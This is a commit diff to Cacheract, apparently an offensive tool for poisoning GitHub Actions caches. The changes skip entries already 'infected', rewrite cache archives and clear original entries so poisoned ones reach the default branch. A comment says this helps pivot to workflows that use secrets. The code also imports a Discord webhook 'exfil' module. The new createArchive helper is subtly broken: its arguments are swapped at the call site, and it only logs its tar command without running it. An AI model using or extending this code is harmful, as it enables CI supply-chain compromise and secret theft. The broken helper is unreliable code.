Don't clear entry if it already contains Cacheract, more attempted fixes.

Author: AdnaneKhan

src/index.ts

@@ -1,6 +1,6 @@
 import * as fs from 'fs';
 import * as crypto from 'crypto';
-import { getToken, listCacheEntries, clearEntry, checkRunnerEnvironment, retrieveEntry, isInfected, listActions, isDefaultBranch, updateArchive, generateRandomString, prepareFileEntry } from './utils';
+import { getToken, listCacheEntries, clearEntry, checkRunnerEnvironment, retrieveEntry, listActions, isDefaultBranch, updateArchive, generateRandomString, prepareFileEntry, createArchive, isInfected} from './utils';
 import axios from 'axios';
 import { DISCORD_WEBHOOK, CHECKOUT_YML, REPLACEMENTS } from './config';
 import { reportDiscord } from './exfil';
@@ -172,8 +172,10 @@ async function createEntry(size: number): Promise<string> {
         throw error;
     }
 
-    return archivePath;
+    // Tar the directory
+    await createArchive(archivePath, sourceDir)
 
+    return archivePath;
 }
 
 async function createAndSetEntry(
@@ -237,6 +239,11 @@ async function main() {
                     const { key, version, ref, size } = entry;
                     const currBranch = process.env['GITHUB_REF'];
 
+                    if (isInfected() && currBranch === ref) {
+                        console.log(`Not attempting to clear entry as it already contains Cacheract.`);
+                        continue;
+                    }
+
                     if (clearEntryFailed) {
                         if (currBranch === ref) {
                             console.log(`Skipping setting entry for key ${key} due to previous clearEntry failure`);
@@ -250,19 +257,28 @@ async function main() {
 
                     let path = '';
                     if (currBranch !== ref) {
-                        // We are not in the default branch, create a new entry
+                        // Entry is not in the default branch, create a new entry
                         path = await createEntry(size);
                     } else {
+                        // Entry is in default branch, retrieve it
                         path = await retrieveEntry(key, version, accessToken, cacheServerUrl);
                     }
 
+                    // Update the entry, whether we made one or retrieved it.
                     const status = await updateEntry(path);
                     if (status) {
+
+                        // Attempt to clear the entry from the feature branch
+                        // this will help us jump (such as to a tag that uses a secret, etc).
                         const cleared = await clearEntry(key, version, githubToken);
                         if (!cleared) {
+                            // Likely means we do not have actions: write
                             console.log(`Failed to clear cache entry ${key}!`);
                             clearEntryFailed = true;
-        
+                            
+                            // If entry is in non-default branch, but we 
+                            // failed to clear the entry, then try to set it in the 
+                            // default anyway.
                             if (currBranch !== ref) {
                                 await createAndSetEntry(size, key, version, accessToken, cacheServerUrl);
                             }

src/utils.ts

@@ -299,6 +299,22 @@ export async function listActions(actionPath: string): Promise<Map<string, Actio
     return actions;
 }
 
+/**
+ * Create archive from a directory
+ * @param sourceDir - Path to the source directory
+ * @param archivePath - Where to place the archive.
+ */
+export async function createArchive(sourceDir: string, archivePath: string): Promise<void> {
+    try {
+        const command = `tar --zstd -C ${sourceDir} -cf ${archivePath} . --use-compress-program zstdmt`;
+        console.log(`About to run command: ${command}`);
+    } catch (error) {
+        console.error('Error creating archive:', error);
+        throw error;
+    }
+}
+
+
 /**
  * Update an archive with new files
  * @param archivePath - Path to the archive file